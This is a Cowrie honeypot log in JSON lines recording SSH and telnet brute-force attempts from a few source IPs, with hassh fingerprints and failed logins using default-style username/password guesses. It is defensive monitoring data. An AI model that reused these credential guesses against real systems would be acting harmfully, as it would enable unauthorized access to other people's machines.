{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:57.080270Z","src_ip":"192.109.200.78","session":"e2ee5932e300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:57.327308Z","src_ip":"192.109.200.78","session":"e2ee5932e300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:44:58.449875Z","src_ip":"192.109.200.78","session":"e2ee5932e300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48968,"dst_ip":"10.17.0.5","dst_port":22,"session":"099a424f5b3a","protocol":"ssh","message":"New connection: 192.109.200.78:48968 (10.17.0.5:22) [session: 099a424f5b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:01.159896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:01.195632Z","src_ip":"192.109.200.78","session":"099a424f5b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:01.245388Z","src_ip":"192.109.200.78","session":"099a424f5b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:02.166788Z","src_ip":"192.109.200.78","session":"099a424f5b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:03.255945Z","src_ip":"192.109.200.78","session":"099a424f5b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48978,"dst_ip":"10.17.0.5","dst_port":22,"session":"0950cc9bd768","protocol":"ssh","message":"New connection: 192.109.200.78:48978 (10.17.0.5:22) [session: 0950cc9bd768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:05.401243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:05.411319Z","src_ip":"192.109.200.78","session":"0950cc9bd768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:05.500807Z","src_ip":"192.109.200.78","session":"0950cc9bd768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:05.769793Z","src_ip":"192.109.200.78","session":"0950cc9bd768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":57930,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73cf79b21b7","protocol":"telnet","message":"New connection: 5.42.229.203:57930 (159.203.135.109:23) [session: c73cf79b21b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.145916Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0be72ce53f5","protocol":"telnet","message":"New connection: 5.42.229.203:57932 (159.203.135.109:23) [session: b0be72ce53f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.149931Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60374,"dst_ip":"159.203.135.109","dst_port":22,"session":"130e87dedb0c","protocol":"ssh","message":"New connection: 159.203.92.129:60374 (159.203.135.109:22) [session: 130e87dedb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.774063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.781401Z","src_ip":"159.203.92.129","session":"130e87dedb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.817483Z","src_ip":"159.203.92.129","session":"130e87dedb0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc..123","message":"login attempt [admin/abc..123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.885454Z","src_ip":"159.203.92.129","session":"130e87dedb0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:06.954530Z","src_ip":"192.109.200.78","session":"0950cc9bd768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:07.893906Z","src_ip":"159.203.92.129","session":"130e87dedb0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58770,"dst_ip":"10.17.0.5","dst_port":22,"session":"621d2d7873d9","protocol":"ssh","message":"New connection: 192.109.200.78:58770 (10.17.0.5:22) [session: 621d2d7873d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:09.402161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:09.483222Z","src_ip":"192.109.200.78","session":"621d2d7873d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:09.645088Z","src_ip":"192.109.200.78","session":"621d2d7873d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:10.195322Z","src_ip":"192.109.200.78","session":"621d2d7873d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:11.283540Z","src_ip":"192.109.200.78","session":"621d2d7873d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58786,"dst_ip":"10.17.0.5","dst_port":22,"session":"dddeafcf0c78","protocol":"ssh","message":"New connection: 192.109.200.78:58786 (10.17.0.5:22) [session: dddeafcf0c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:13.693726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:13.698310Z","src_ip":"192.109.200.78","session":"dddeafcf0c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:13.781433Z","src_ip":"192.109.200.78","session":"dddeafcf0c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:14.045568Z","src_ip":"192.109.200.78","session":"dddeafcf0c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:15.183324Z","src_ip":"192.109.200.78","session":"dddeafcf0c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58810,"dst_ip":"10.17.0.5","dst_port":22,"session":"afce54d3018d","protocol":"ssh","message":"New connection: 192.109.200.78:58810 (10.17.0.5:22) [session: afce54d3018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:17.807794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:17.812688Z","src_ip":"192.109.200.78","session":"afce54d3018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:17.895793Z","src_ip":"192.109.200.78","session":"afce54d3018d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:18.356038Z","src_ip":"192.109.200.78","session":"afce54d3018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:19.441717Z","src_ip":"192.109.200.78","session":"afce54d3018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49782,"dst_ip":"10.17.0.5","dst_port":22,"session":"d48828f938d0","protocol":"ssh","message":"New connection: 192.109.200.78:49782 (10.17.0.5:22) [session: d48828f938d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:22.074426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:22.083201Z","src_ip":"192.109.200.78","session":"d48828f938d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:22.174438Z","src_ip":"192.109.200.78","session":"d48828f938d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:22.433988Z","src_ip":"192.109.200.78","session":"d48828f938d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:23.530411Z","src_ip":"192.109.200.78","session":"d48828f938d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49788,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6769814fe83","protocol":"ssh","message":"New connection: 192.109.200.78:49788 (10.17.0.5:22) [session: e6769814fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:27.087251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:27.092426Z","src_ip":"192.109.200.78","session":"e6769814fe83","protocol":"ssh"}
